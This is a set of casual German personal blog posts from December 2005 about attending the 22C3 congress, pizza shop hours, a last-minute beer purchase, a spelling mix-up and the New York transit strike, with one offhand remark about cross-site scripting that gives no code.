von Khark am 26. Dezember 2005 um 20:49 Uhr

So, ich bin nun auf dem 22C3 und sitze hier am Infotresen.
Netz geht, mein DECT tut (Rufnummer: 5432) und bei Burger King war ich auch schon.
Die ersten Leute von !eof habe ich auch schon gefunden.

Mate kostet 2€ + 50cent Pfand. Denke der Preis ist ok.
Dieses Jahr gibt es auch lecker Obst. Die Bananen sind zu empfehlen.

Der Eintrittspreis ist zwar für Schüler (vorher 25€ jetzt 35€) und Normal (vorher 50€ jetzt 75€) teurer geworden, aber dafür gibt es die aktuelle Datenschleuder (Ausgabe #89) sowie ein neues Badge gratis dazu.
– Gut.. Das Badge gab es auch schon beim 21C3, aber die Datenschleuder ist nett. Die hätte ich mir nämlich auch so gekauft :D

Pizza-Fnord

von MichiK am 24. Dezember 2005 um 15:59 Uhr

Ich entscheide mich gegen 15:30 Uhr, dass ich Hunger auf Pizza habe. Als ich bei der Pizzabude ankomme, stelle ich fest, dass diese bis 14 Uhr und dann wieder ab 17 Uhr geöffnet hat. Der Kenner sieht sofort: Ich befinde mich genau in der Mitte dazwischen… wenn das kein Fnord ist, was dann?

Früher[tm] war übrigens alles besser, da hatte auch dieser Laden durchgehend auf. Und in Leipzig ist es auch besser, da ist es sogar üblich, dass solche Läden durchgehend geöffnet haben. (10-22 oder -24 Uhr – darunter geht garnix.)

McDonalds vs. Burger King

von MichiK am 24. Dezember 2005 um 04:07 Uhr
  1. Cross-Site-Scripting ist geil. Hier klicken! (Oder hier nen Screenshot sehen.)
  2. Ich wüsste gerne, was dieses Plakat an exakt dieser Stelle wohl gekostet haben mag. BTW: Wer errät, wo das ist?

Spontan

von MichiK am 22. Dezember 2005 um 09:08 Uhr

Gestern Abend um 19:55 Uhr schreibe ich mit $Kumpel aus der Schulzeit im ICQ:

Ich: Hast du Bier im Haus? Dann würde ich eben vorbeikommen…
Er: Nein.
Ich: Der Supermarkt hat noch fünf Minuten auf, ich brauche dahin drei Minuten und könnte dann in einer halben Stunde mit Bier bei dir sein.
Er: Dann tu es!

ICQ zu, Rechner aus, Treppe runter, Klamotten an, Portmonee, Schlüsselbund usw. geschnappt, Mama läuft mir über den Weg… “Ich geh noch kurz einkaufen…” – “‘Äh, das fällt dir jetzt ein?” – “…und dann zu $Kumpel. Kann ‘ne Weile dauern.” Und raus aufs Fahrrad.

Um 19:59 Uhr bin ich im Supermarkt (der um 20 Uhr zu macht) und kriege als letzter Kunde noch nen Sixpack. Der Kassiererin noch “guten Feierabend” gewünscht und 20 Minuten später bin ich da. Das Bier eine halbe Stunde in den Gefrierschrank und dann wird es genüsslich vernichtet.

Was ich nicht verstehe: Es gibt Frauen, die mir vorwerfen, ich wäre “nicht spontan”…

Rechtschreibung kontra Aussprache

von Khark am 21. Dezember 2005 um 14:31 Uhr

Sie: Sag mal du, wie schreibt man eigentlich (Sie spricht das Wort Session) aus? Doch (Sie buchstabiert) S-A-S-S-I-O-N, oder?
Ich: Nee, Session schreibt man S-E-S-S-I-O-N.
Sie: Nein.. Ich meine nicht (Sie spricht wieder Session aus) ich meine (Sie spricht Sassion aus).
Ich: Sassion? Was soll den das sein??
Sie: (Versucht zu erklären) Na.. Hier Mode und so.. Da gibts doch Sassions.
Ich: (Erleuchtet) Ach du meinst Saison! Das schreibt man S-A-I-S-O-N.

Ich werd neidisch

von Khark am 20. Dezember 2005 um 22:46 Uhr

In der Tagesschau wurde eben über den Streik im öffentlichen Nahverkehr in New York berichtet.
U.a. wurde erwähnt, das der Bürgermeister von New York einige Straßen hat für den Autoverkehr sperren lassen. So u.a. die 5th Avenue.

Nur Polizei, Rettungsdienst, Fahrradfahrer und Inlineskater dürfen sie benutzen.

I-N-L-I-N-E-S-K-A-T-E-R
Ich will auch! Schenkt mir jemand den Flug?